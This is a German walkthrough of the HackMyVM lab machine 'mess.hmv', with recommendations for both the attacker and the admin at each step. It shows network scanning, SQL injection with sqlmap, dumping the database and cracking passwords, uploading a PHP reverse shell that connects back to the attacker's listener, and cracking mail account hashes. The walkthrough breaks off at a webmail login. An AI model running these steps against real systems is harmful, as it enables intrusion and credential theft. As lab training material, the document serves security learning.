192.168.2.110 08:00:27:fe:de:29 PCS Systemtechnik GmbH
Analyse: Mit `arp-scan -l` wird das lokale Netzwerk nach aktiven Hosts durchsucht.
Bewertung: Der Host `192.168.2.110` wird identifiziert. Die MAC-Adresse gehört zu Oracle VirtualBox (PCS Systemtechnik GmbH).
Empfehlung (Pentester):** Ziel-IP ist bekannt. Nächster Schritt ist ein Nmap-Scan, um offene Ports und Dienste zu finden.
Empfehlung (Admin):** Standard-Netzwerk-Monitoring. VM-Härtung.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-09 23:09 CET Nmap scan report for mess.hmv (192.168.2.110) Host is up (0.00014s latency). Not shown: 65525 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 3f957fd8b055f255b0548fe30201ac61 (RSA) | 256 4c93715cf7454a24d09ef8d51964ee9a (ECDSA) |_ 256 32809c9b8cb3c18c9b510825329cd6e4 (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: SMTP: EHL 521 5.5.1 Protocol error\x0D 80/tcp open http nginx |_http-title: Did not follow redirect to https://mess.hmv/ 110/tcp open pop3 Dovecot pop3d |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN | Not valid before: 2022-01-26T18:05:23 |_Not valid after: 2032-01-24T18:05:23 |_pop3-capabilities: UIDL STLS AUTH-RESP-CODE SASL CAPA TOP PIPELINING RESP-CODES 143/tcp open imap Dovecot imapd | ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN | Not valid before: 2022-01-26T18:05:23 |_Not valid after: 2032-01-24T18:05:23 |_ssl-date: TLS randomness does not represent time |_imap-capabilities: SASL-IR IDLE listed more IMAP4rev1 STARTTLS Pre-login OK LOGIN-REFERRALS capabilities ENABLE have LOGINDISABLEDA0001 post-login LITERAL+ ID 443/tcp open ssl/http nginx | ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN | Not valid before: 2022-01-26T18:05:23 |_Not valid after: 2032-01-24T18:05:23 |_ssl-date: TLS randomness does not represent time |_http-title: Welcome to the Landing Page | http-robots.txt: 1 disallowed entry |_/ 465/tcp open ssl/smtp Postfix smtpd | ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN | Not valid before: 2022-01-26T18:05:23 |_Not valid after: 2032-01-24T18:05:23 |_ssl-date: TLS randomness does not represent time |_smtp-commands: mx.messages.hmv, PIPELINING, SIZE 15728640, ETRN, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING 587/tcp open smtp Postfix smtpd |_ssl-date: TLS randomness does not represent time |_smtp-commands: mx.messages.hmv, PIPELINING, SIZE 15728640, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING | ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN | Not valid before: 2022-01-26T18:05:23 |_Not valid after: 2032-01-24T18:05:23 993/tcp open imaps? |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN | Not valid before: 2022-01-26T18:05:23 |_Not valid after: 2032-01-24T18:05:23 |_imap-capabilities: SASL-IR IDLE listed more IMAP4rev1 OK Pre-login AUTH=PLAIN LOGIN-REFERRALS ENABLE capabilities have AUTH=LOGINA0001 post-login LITERAL+ ID 995/tcp open pop3s? | ssl-cert: Subject: commonName=mx.messages.hmv/organizationName=mx.messages.hmv/stateOrProvinceName=GuangDong/countryName=CN | Not valid before: 2022-01-26T18:05:23 |_Not valid after: 2032-01-24T18:05:23 |_ssl-date: TLS randomness does not represent time |_pop3-capabilities: UIDL AUTH-RESP-CODE USER SASL(PLAIN LOGIN) CAPA TOP PIPELINING RESP-CODES MAC Address: 08:00:27:FE:DE:29 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.4 Network Distance: 1 hop Service Info: Hosts: mess.hmv-mx.messages.hmv, mx.messages.hmv; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms mess.hmv (192.168.2.110) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 80.90 seconds
Analyse: Ein detaillierter Nmap-Scan (`-sS`, `-sC`, `-T5`, `-A`, `-p-`) wird auf das Ziel `192.168.2.110` durchgeführt.
Bewertung: Es werden zahlreiche Ports gefunden, die auf einen Mail-Server hindeuten: * **22 (SSH):** OpenSSH 8.4p1 (Debian). * **25, 465, 587 (SMTP):** Postfix. Port 25 scheint fehlerhaft zu antworten. 465 (SMTPS) und 587 (Submission/STARTTLS) sind aktiv. * **80 (HTTP):** Nginx, leitet auf HTTPS weiter. * **110, 995 (POP3/S):** Dovecot. * **143, 993 (IMAP/S):** Dovecot. * **443 (HTTPS):** Nginx, zeigt eine "Landing Page". Wichtig ist, dass das SSL-Zertifikat für viele Dienste (POP3, IMAP, HTTPS, SMTPS) auf den Common Name `mx.messages.hmv` ausgestellt ist. Dies deutet auf eine wichtige Subdomain hin. Der Hostname `mess.hmv` wird ebenfalls erkannt. Nmap hat Schwierigkeiten bei der OS-Erkennung ("filtered ports").
Empfehlung (Pentester):** Die Angriffsfläche ist groß:
1. Fügen Sie `mess.hmv` und `mx.messages.hmv` zur lokalen `/etc/hosts`-Datei hinzu, um auf die Webanwendungen korrekt zugreifen zu können.
2. Untersuchen Sie die Webanwendungen auf Port 80/443 (`mess.hmv` und `mx.messages.hmv`) mit `gobuster` und manueller Analyse.
3. Die Mail-Dienste (SMTP, POP3, IMAP) sind potenzielle Ziele für Brute-Force-Angriffe, sobald Benutzernamen bekannt sind.
Empfehlung (Admin):** Stellen Sie sicher, dass alle Dienste (SSH, Postfix, Dovecot, Nginx) aktuell und sicher konfiguriert sind. Verwenden Sie gültige, nicht selbstsignierte SSL-Zertifikate. Beschränken Sie den Zugriff auf Dienste, wo möglich. Implementieren Sie Schutzmaßnahmen gegen Brute-Force-Angriffe auf Mail- und Web-Logins.
Analyse: Nach Hinzufügen der Hostnamen zur `/etc/hosts`-Datei wird der Webserver auf `https://messages.hmv` (Port 443) mit `gobuster` untersucht.
=============================================================== Gobuster v... ... =============================================================== [+] Url: https://messages.hmv ... =============================================================== ... Starting gobuster ... =============================================================== https://messages.hmv/index.html (Status: 200) [Size: 6385] https://messages.hmv/images (Status: 301) [Size: 162] [--> https://messages.hmv/images/] https://messages.hmv/mail (Status: 301) [Size: 162] [--> https://messages.hmv/mail/] https://messages.hmv/mail/index.php (Status: 200) [Size: 5272] https://messages.hmv/mail/skins (Status: 301) [Size: 162] [--> https://messages.hmv/mail/skins/] https://messages.hmv/mail/plugins (Status: 301) [Size: 162] [--> https://messages.hmv/mail/plugins/] https://messages.hmv/mail/program (Status: 301) [Size: 162] [--> https://messages.hmv/mail/program/] =============================================================== ... Finished ... ===============================================================
Analyse Fortsetzung:** Anschließend wird der Webserver auf `https://mx.messages.hmv` (Port 443) untersucht.
=============================================================== Gobuster v... ... =============================================================== [+] Url: https://mx.messages.hmv ... =============================================================== ... Starting gobuster ... =============================================================== https://mx.messages.hmv/chatbot/index.php (Status: 200) [Size: 18968] https://mx.messages.hmv/chatbot/uploads (Status: 301) [Size: 162] [--> https://mx.messages.hmv/chatbot/uploads/] https://mx.messages.hmv/chatbot/admin (Status: 301) [Size: 162] [--> https://mx.messages.hmv/chatbot/admin/] https://mx.messages.hmv/chatbot/portal.php (Status: 500) [Size: 266] https://mx.messages.hmv/chatbot/plugins (Status: 301) [Size: 162] [--> https://mx.messages.hmv/chatbot/plugins/] https://mx.messages.hmv/chatbot/database (Status: 301) [Size: 162] [--> https://mx.messages.hmv/chatbot/database/] https://mx.messages.hmv/chatbot/classes (Status: 301) [Size: 162] [--> https://mx.messages.hmv/chatbot/classes/] https://mx.messages.hmv/chatbot/config.php (Status: 200) [Size: 0] https://mx.messages.hmv/chatbot/dist (Status: 301) [Size: 162] [--> https://mx.messages.hmv/chatbot/dist/] https://mx.messages.hmv/chatbot/404.html (Status: 200) [Size: 198] =============================================================== ... Finished ... ===============================================================
Bewertung: Zwei verschiedene Webanwendungen werden gefunden: 1. **`https://messages.hmv/mail/`**: Sieht nach einer Webmail-Anwendung aus (z.B. Roundcube, judging by directory structure). 2. **`https://mx.messages.hmv/chatbot/`**: Eine Chatbot-Anwendung. Enthält ein Admin-Verzeichnis (`/admin`), ein Upload-Verzeichnis (`/uploads`) und eine interessante PHP-Klassen-Datei (`/classes/Login.php` wird später untersucht). Die Datei `config.php` ist leer. `portal.php` liefert einen Fehler (Status 500).
Empfehlung (Pentester):** Beide Anwendungen untersuchen:
* **Webmail (`/mail`):** Versuchen, die genaue Software und Version zu identifizieren (z.B. über Quellcode, spezifische Dateien). Auf bekannte Schwachstellen prüfen. Standard-Logins versuchen, sobald Benutzernamen bekannt sind.
* **Chatbot (`/chatbot`):** Fokus auf `/admin` (Login?) und `/classes/Login.php` (potenzielle Logikfehler, SQLi?). Das `/uploads`-Verzeichnis könnte für Dateiupload-Angriffe relevant sein.
Empfehlung (Admin):** Stellen Sie sicher, dass beide Anwendungen aktuell und sicher konfiguriert sind. Beschränken Sie den Zugriff auf administrative Bereiche. Deaktivieren Sie Verzeichnisauflistungen. Schützen Sie Konfigurationsdateien. Analysieren Sie den 500er-Fehler bei `portal.php`.
Analyse: Es wird `wfuzz` verwendet, um Parameter für die Datei `Login.php` im Chatbot-Verzeichnis zu finden. Zuerst wird versucht, den Parameter-Namen zu finden, der den Wert 'login' erwartet.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://192.168.2.110//chatbot//classes/Login.php?FUZZ=login
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000402: 200 0 L 13 W 99 Ch "f"
Total time: ...
Processed Requests: ...
Filtered Requests: ...
Requests/sec.: ...
Analyse Fortsetzung:** Nachdem der Parameter `f` gefunden wurde, wird `wfuzz` erneut verwendet, um mögliche Werte für den Parameter `f` zu finden.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: https://192.168.2.110//chatbot//classes/Login.php?f=FUZZ Total requests: 220560 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000066: 200 0 L 13 W 99 Ch "login" 000000838: 200 0 L 13 W 99 Ch "Login" 000001238: 200 0 L 1 W 57 Ch "logout" 000014678: 200 0 L 1 W 57 Ch "Logout" 000101642: 200 0 L 13 W 99 Ch "LogIn" 000148866: 200 0 L 13 W 99 Ch "LOGIN" Total time: ... Processed Requests: ... Filtered Requests: ... Requests/sec.: ...
Analyse Fortsetzung:** Ein weiterer `wfuzz`-Lauf testet SQL-Injection-Payloads im Parameter `f`.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: https://192.168.2.110//chatbot//classes/Login.php?f=FUZZ Total requests: ... ===================================================================== ID Response Lines Word Chars Payload ===================================================================== ... (viele Payloads) ... XXXXX: 200 ... ... ... login ===================================================================== Error: JSONDecodeError - Expecting value: line 1 column 1 (char 0) {"status":"incorrect","last_qry":"SELECT * from users where username = '' and password = md5('') "}
Bewertung: `wfuzz` identifiziert den Parameter `f` als gültig. Weitere Tests zeigen, dass Werte wie `login`, `logout` (und Variationen) akzeptiert werden. Der SQL-Injection-Test mit `wfuzz` liefert eine interessante JSON-Antwort im Fehlerfall, die eine SQL-Abfrage (`SELECT * from users where username = '' and password = md5('')`) offenlegt. Dies bestätigt, dass der `f=login`-Endpunkt mit der Datenbank interagiert und möglicherweise für SQL-Injection anfällig ist, auch wenn `wfuzz` selbst die Injection nicht direkt findet.
Empfehlung (Pentester):** Die offengelegte SQL-Abfrage und der Endpunkt `https://192.168.2.110/chatbot/classes/Login.php?f=login` sind vielversprechend für SQL-Injection. Verwenden Sie `sqlmap` mit POST-Daten (z.B. `username=admin&password=123`), um gezielt auf SQLi zu testen.
Empfehlung (Admin):** Beheben Sie die potenzielle SQL-Injection-Schwachstelle in `Login.php`. Geben Sie niemals interne SQL-Abfragen oder detaillierte Fehlermeldungen an den Client zurück. Verwenden Sie Prepared Statements. Schränken Sie die Funktionalität des `f`-Parameters ein.
Analyse: `sqlmap` wird verwendet, um die vermutete SQL-Injection-Schwachstelle im Login-Endpunkt des Chatbots zu bestätigen und auszunutzen. Es wird die URL, Beispiel-POST-Daten (`username=admin&password=123`) und ein gültiges Session-Cookie (`PHPSESSID`) angegeben.
... [*] starting @ ... [INFO] testing connection to the target URL [INFO] URL is stable [INFO] testing if the target URL content is stable [INFO] target URL content is stable [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0 Boolean-based blind' injectable [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0 Error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 Time-based blind' injectable [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0 UNION query (NULL) - 1 column' injectable [INFO] testing MySQL ... [INFO] the back-end DBMS is MySQL >= 5.0 ... available databases [9]: [*] amavisd [*] chatbot [*] information_schema [*] iredadmin [*] iredapd [*] mysql [*] performance_schema [*] roundcubemail [*] vmail ... [*] ending @ ...
Bewertung: `sqlmap` bestätigt erfolgreich mehrere Arten von SQL-Injection-Schwachstellen (Boolean-based blind, Error-based, Time-based blind, UNION query) im POST-Parameter `username`. Es listet auch die verfügbaren Datenbanken auf, darunter die interessante Datenbank `chatbot` sowie Mail-bezogene Datenbanken (`amavisd`, `iredadmin`, `iredapd`, `roundcubemail`, `vmail`).
Analyse Fortsetzung:** `sqlmap` wird erneut ausgeführt, um die Tabellen in der `chatbot`-Datenbank aufzulisten.
... Database: chatbot [6 tables] +---------------+ | frequent_asks | | questions | | responses | | system_info | | unanswered | | users | +---------------+ ... [*] ending @ ...
Analyse Fortsetzung:** Schließlich wird `sqlmap` verwendet, um den Inhalt der Tabelle `users` in der Datenbank `chatbot` auszulesen (`--dump`).
... [INFO] fetching entries for table 'users' in database 'chatbot' [INFO] fetching number of entries for table 'users' in database 'chatbot' [INFO] retrieved: 1 ... [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N do you want to crack them via a dictionary-based attack? [Y/n/q] Y [INFO] using hash method 'md5_generic_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] N [INFO] starting dictionary-based cracking (md5_generic_passwd) [INFO] starting 12 processes [INFO] cracked password 'admin123' for user 'admin' Database: chatbot Table: users [1 entry] +----+-------------------------------+----------+---------------------------------------------+----------+--------------+---------------------+------------+---------------------+ | id | avatar | lastname | password | username | firstname | date_added | last_login | date_updated | +----+-------------------------------+----------+---------------------------------------------+----------+--------------+---------------------+------------+---------------------+ | 1 | uploads/1620201300_avatar.png | Admin | 0192023a7bbd73250516f069df18b500 (admin123) | admin | Adminstrator | 2021-01-20 14:02:37 | NULL | 2021-05-05 15:55:28 | +----+-------------------------------+----------+---------------------------------------------+----------+--------------+---------------------+------------+---------------------+ ... [*] ending @ 00:31:19 /2022-11-10/
Bewertung: Die SQL-Injection-Schwachstelle ermöglicht das Auslesen der `users`-Tabelle. Es wird ein Benutzer `admin` mit dem MD5-Passwort-Hash `0192023a7bbd73250516f069df18b500` gefunden. `sqlmap` knackt diesen Hash erfolgreich mit der eingebauten Wörterbuchattacke und findet das Klartextpasswort `admin123`.
Empfehlung (Pentester):** Verwenden Sie die gefundenen Zugangsdaten (`admin`:`admin123`), um sich beim Admin-Panel des Chatbots (`https://mx.messages.hmv/chatbot/admin/`) anzumelden.
Empfehlung (Admin):** Beheben Sie die SQL-Injection-Schwachstelle dringend durch Verwendung von Prepared Statements und korrekter Eingabevalidierung/-sanitisierung. Verwenden Sie niemals MD5 zum Speichern von Passwörtern; migrieren Sie zu bcrypt oder Argon2. Ändern Sie das kompromittierte Passwort `admin123` sofort.
Analyse: Mit den durch SQL-Injection gefundenen Zugangsdaten (`admin`:`admin123`) wird sich beim Admin-Panel des Chatbots (`https://mx.messages.hmv/chatbot/admin/`) angemeldet.
URL: https://mx.messages.hmv/chatbot/admin/ Username: admin Password: admin123
Analyse Fortsetzung:** Im Admin-Panel gibt es eine Funktion zum Ändern des Profilbildes (Avatars). Diese Funktion wird missbraucht, um eine PHP-Reverse-Shell hochzuladen. Der Angreifer wählt eine `rev.php`-Datei als neues Profilbild aus. Nach dem Upload wird der Quellcode der Seite untersucht (z.B. mit Entwicklerwerkzeugen im Browser), um den tatsächlichen Pfad zur hochgeladenen Datei zu finden.
1. Profilbild-Upload-Funktion finden.
2. PHP-Reverse-Shell (rev.php, angepasst mit Angreifer-IP/Port 9001) auswählen.
3. Datei hochladen.
4. Quellcode der Seite untersuchen / Netzwerkanfragen analysieren, um den Pfad zum hochgeladenen Bild zu finden.
Gefundener Pfad: https://mx.messages.hmv//chatbot/uploads/1668037080_rev.php
Analyse Fortsetzung:** Ein Netcat-Listener wird auf dem Angreifer-System auf Port 9001 gestartet.
listening on [any] 9001 ...
Analyse Fortsetzung:** Die URL der hochgeladenen PHP-Shell wird im Browser aufgerufen oder mit `curl` angefragt.
https://mx.messages.hmv//chatbot/uploads/1668037080_rev.php
Analyse Fortsetzung:** Der Aufruf der PHP-Datei führt dazu, dass der Server eine Verbindung zum Netcat-Listener aufbaut.
listening on [any] 9001 ... connect to [192.168.2.109] from (UNKNOWN) [192.168.2.110] 39838 Linux messages 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64 GNU/Linux 23:39:19 up 1:32, 0 users, load average: 0.44, 0.12, 0.15 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Bewertung: Der Dateiupload für Profilbilder war unsicher und erlaubte das Hochladen und Ausführen von PHP-Code. Dies führte erfolgreich zu Remote Code Execution und einer Reverse Shell als `www-data`. Dies ist der initiale Zugriff auf das System.
Empfehlung (Pentester):** Stabilisieren Sie die erhaltene Shell. Führen Sie Enumeration als `www-data` durch, um Privilegieneskalations-Vektoren zu finden.
Empfehlung (Admin):** Implementieren Sie eine sichere Dateiupload-Validierung (Whitelist für Typen/Endungen, Neu-Generierung von Namen, Speichern außerhalb des Web-Roots, Inhaltsprüfung). Verhindern Sie die direkte Ausführung hochgeladener Dateien. Beschränken Sie die Rechte des `www-data`-Benutzers.
Analyse: Die erhaltene `www-data`-Shell wird stabilisiert.
www-data@messages:/$
zsh: suspended nc -lvnp 9001
[1] + continued nc -lvnp 9001
reset [Enter drücken]
Bewertung: Die Shell wurde erfolgreich stabilisiert.
Analyse: Es wird geprüft, ob `sudo` verfügbar ist und nach SUID-Dateien gesucht.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: sudo: command not found
259680 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
259679 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd
261402 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su
263317 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount
285339 1232 -rwsr-x--- 1 root ruby 1261512 Jan 15 2021 /usr/bin/tcpdump
259676 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn
263316 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount
259677 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh
263166 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp
271344 52 -rwsr-xr-- 1 root messagebus 51336 Feb 21 2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
284971 472 -rwsr-xr-x 1 root root 481608 Mar 13 2021 /usr/lib/openssh/ssh-keysign
Bewertung: `sudo` ist nicht installiert oder nicht im Pfad von `www-data`. Die SUID-Suche findet einige Standard-Binaries, aber auch `/usr/bin/tcpdump` mit SUID-Root-Bit und Gruppenzugehörigkeit `ruby`. Dies ist höchst ungewöhnlich und ein klarer potenzieller Privilegieneskalations-Vektor. Obwohl `www-data` nicht in der Gruppe `ruby` ist (`-rwsr-x---`), könnte es dennoch ausnutzbar sein (z.B. durch GTFOBins-Techniken).
Analyse Fortsetzung:** Ein Versuch, `tcpdump` mit der `-z`-Option (Post-rotate command) zur Ausführung eines Skripts zu nutzen, schlägt fehl (`Permission denied`), wahrscheinlich weil `www-data` nicht in der Gruppe `ruby` ist.
bash: /usr/bin/tcpdump: Permission denied
Bewertung: Der direkte Exploit über `tcpdump -z` als `www-data` funktioniert nicht. Es muss ein anderer Weg gefunden werden, oder der Exploit funktioniert nur für Benutzer in der Gruppe `ruby`.
Analyse: Die Home-Verzeichnisse werden untersucht. Das Verzeichnis `/home/ruby` wird gefunden.
iredadmin iredapd ruby vmail
Analyse Fortsetzung:** Der Inhalt von `/home/ruby` wird untersucht. Eine Notizdatei (`notes`) und die User-Flag (`userflag.txt`) werden gefunden. Die Notiz wird gelesen.
notes userflag.txt
todo: trusted certificate Change shell password to match webmail (stronger password) done: check email/iredadmin working OK get chatbot working connect from desktop ssh keys only create mailbox for root scripts (same pw)
Bewertung: Die Notizdatei enthält einen sehr wichtigen Hinweis: "Change shell password to match webmail (stronger password)". Das impliziert, dass das SSH-Passwort des Benutzers `ruby` (oder eines anderen Shell-Benutzers) aktuell mit dem Webmail-Passwort übereinstimmt. Außerdem wird erwähnt, dass SSH nur mit Keys funktioniert ("ssh keys only"), was aber möglicherweise nur eine Absicht war.
Analyse Fortsetzung:** Um an das Webmail-Passwort zu gelangen, wird die Konfigurationsdatei des Chatbots erneut untersucht, diesmal `initialize.php`.
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>''
,'username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0', // MD5 Hash
'last_login'=>'','date_updated'=>'','date_added'=>'');
if(!defined('base_url')) define('base_url','/chatbot/');
if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
if(!defined('dev_data')) define('dev_data',$dev_data);
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"chatbot");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"chatbot"); // Korrektur: DB_PASSWORD statt DB_PASSWRD
if(!defined('DB_NAME')) define('DB_NAME',"chatbot");
Bewertung: Diese Datei enthüllt einen weiteren Benutzer `dev_oretnom` mit einem MD5-Hash `5da283a2d990e8d8512cf967df5bc0d0` (könnte geknackt werden) und die Datenbank-Zugangsdaten `chatbot`:`chatbot`.
Analyse Fortsetzung:** Mit den neuen DB-Credentials `chatbot:chatbot` wird erneut auf die MariaDB zugegriffen und die Datenbank `vmail` untersucht, die zuvor identifiziert wurde.
Enter password: chatbot
Welcome to the MariaDB monitor. ...
+--------------------+
| Database |
+--------------------+
| amavisd |
| chatbot |
| information_schema |
| iredadmin |
| iredapd |
| mysql |
| performance_schema |
| roundcubemail |
| vmail |
+--------------------+
Database changed
+----------------------+
| Tables_in_vmail |
+----------------------+
...
| mailbox |
...
+----------------------+
+-------------------------+-----------------------------------------------------------------------------------------------------------+------------+----------+---------------+---------------+----------------------+-------------+----------------------------------------------+-------+--------------+-----------+------------+--------+------------+---------+---------------+------------+-------------------+------------+-------------------+---------------+------------+-------------------+---------------+---------------+-----------+-------------------+--------------------------+-------------+--------------------+----------------+----------------+---------------+-------------------+--------------------+----------------------+------------+-------------+------------+-------------------+--------------------+----------------------+------------+------------+----------+---------------------+---------------------+---------------------+---------------------+--------+ | username | password | name | language | mailboxformat | mailboxfolder | storagebasedirectory | storagenode | maildir | quota | domain | transport | department | rank | employeeid | isadmin | isglobaladmin | enablesmtp | enablesmtpsecured | enablepop3 | enablepop3secured | enablepop3tls | enableimap | enableimapsecured | enableimaptls | enabledeliver | enablelda | enablemanagesieve | enablemanagesievesecured | enablesieve | enablesievesecured | enablesievetls | enableinternal | enabledoveadm | enablelib-storage | enablequota-status | enableindexer-worker | enablelmtp | enabledsync | enablesogo | enablesogowebmail | enablesogocalendar | enablesogoactivesync | allow_nets | disclaimer | settings | passwordlastchange | created | modified | expired | active | +-------------------------+-----------------------------------------------------------------------------------------------------------+------------+----------+---------------+---------------+----------------------+-------------+----------------------------------------------+-------+--------------+-----------+------------+--------+------------+---------+---------------+------------+-------------------+------------+-------------------+---------------+------------+-------------------+---------------+---------------+-----------+-------------------+--------------------------+-------------+--------------------+----------------+----------------+---------------+-------------------+--------------------+----------------------+------------+-------------+------------+-------------------+--------------------+----------------------+------------+------------+----------+---------------------+---------------------+---------------------+---------------------+--------+ | postmaster@messages.hmv | {SSHA512}r8xmJtgYpBLiI4SghgF6niJFEJrZujFlgx9ISHD7vqgtCg7U9wTulPqxBgkPKcqWwPMReJ2l9zdpYh/uXT6WjFElA= | postmaster | | maildir | Maildir | /var/vmail | vmail1 | messages.hmv/p/o/s/postmaster/ | 1024 | messages.hmv | ... | root@messages.hmv | {SSHA512}hhZ4uS8n44dromQhH3DxyaJDDBeYc6Ey8Q+DcdXmb0dhL7mT2sRMTH5ipPULXVdgoMTelRVVQ2Ab8ZEJMgdFA/4L+stgDz9 | Root | en_US | maildir | Maildir | /var/vmail | vmail1 | messages.hmv/r/o/o/root-2022.01.26.20.35.21/ | 100 | messages.hmv | ... | ruby@messages.hmv | {SSHA512}dFxa19dkflt/1bQFQszaUTFjjK4SjDMIw9ZWKEZbZ+E6o2rxTvqaG+3EsKZcHXnnfVoVNNyVtlHH/Vx8+XS+mBLGCMA | Ruby | en_US | maildir | Maildir | /var/vmail | vmail1 | messages.hmv/r/u/b/ruby-2022.01.26.20.34.10/ | 100 | messages.hmv | ... +-------------------------+-----------------------------------------------------------------------------------------------------------+------------+----------+---------------+---------------+----------------------+-------------+----------------------------------------------+-------+--------------+-----------+------------+--------+------------+---------+---------------+------------+-------------------+------------+-------------------+---------------+------------+-------------------+---------------+---------------+-----------+-------------------+--------------------------+-------------+--------------------+----------------+----------------+---------------+-------------------+--------------------+----------------------+------------+-------------+------------+-------------------+--------------------+----------------------+------------+------------+----------+---------------------+---------------------+---------------------+---------------------+--------+
Bewertung: In der `mailbox`-Tabelle der `vmail`-Datenbank werden die Benutzer für das Webmail-System gefunden, darunter `ruby@messages.hmv`. Wichtig ist der dazugehörige Passwort-Hash im SSHA512-Format (`{SSHA512}dFxa...`).
Analyse Fortsetzung:** Die SSHA512-Hashes für `postmaster`, `root` und `ruby` werden extrahiert und in einer Datei (`passfile.txt`) gespeichert, um sie mit `john` zu knacken.
{SSHA512}r8xmJtgYpBLiI4SghgF6niJFEJrZujFlgx9ISHD7vqgtCg7U9wTulPqxBgkPKcqWwPMReJ2l9zdpYh/uXT6WjFElA= {SSHA512}hhZ4uS8n44dromQhH3DxyaJDDBeYc6Ey8Q+DcdXmb0dhL7mT2sRMTH5ipPULXVdgoMTelRVVQ2Ab8ZEJMgdFA/4L+stgDz9 {SSHA512}dFxa19dkflt/1bQFQszaUTFjjK4SjDMIw9ZWKEZbZ+E6o2rxTvqaG+3EsKZcHXnnfVoVNNyVtlHH/Vx8+XS+mBLGCMA
Using default input encoding: UTF-8 Loaded 3 password hashes with 3 different salts (SSHA512, LDAP [SHA512 256/256 AVX2 4x]) Will run 12 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Ruby.r123 (?) <-- Hash für ruby@messages.hmv geknackt 1g 0:00:00:02 DONE (2022-11-10 00:57) 0.4926g/s 7065Kp/s 19410Kc/s 19410KC/s 0100132883..*7¡Vamos! Use the "--show" option to display all of the cracked passwords reliably Session completed.
Bewertung: `john` knackt erfolgreich den Hash für den Benutzer `ruby@messages.hmv`. Das Passwort lautet `Ruby.r123`. Gemäß der Notizdatei (`notes`) sollte dies auch das SSH-Passwort für den Benutzer `ruby` sein.
Empfehlung (Pentester):** Versuchen Sie, sich per SSH als Benutzer `ruby` mit dem Passwort `Ruby.r123` anzumelden. Alternativ loggen Sie sich ins Webmail ein, um nach weiteren Informationen zu suchen (wie im nächsten Schritt gezeigt).
Empfehlung (Admin):** Verwenden Sie keine einfachen oder ableitbaren Passwörter. Erzwingen Sie Passwortkomplexität. Schulen Sie Benutzer darin, keine Passwörter wiederzuverwenden (insbesondere nicht Shell-Passwort = Webmail-Passwort). Überwachen Sie Brute-Force-Versuche auf Mail- und SSH-Dienste.
Analyse: Es wird sich mit den geknackten Credentials (`ruby@messages.hmv`:`Ruby.r123`) beim Webmail-Interface (`https://192.168.2.110/mail/` oder `https://messages.hmv/mail/`) angemeldet.
URL: https://192.168.2.110/mail/ Login: ruby@messages.hmv Password: Ruby.r123
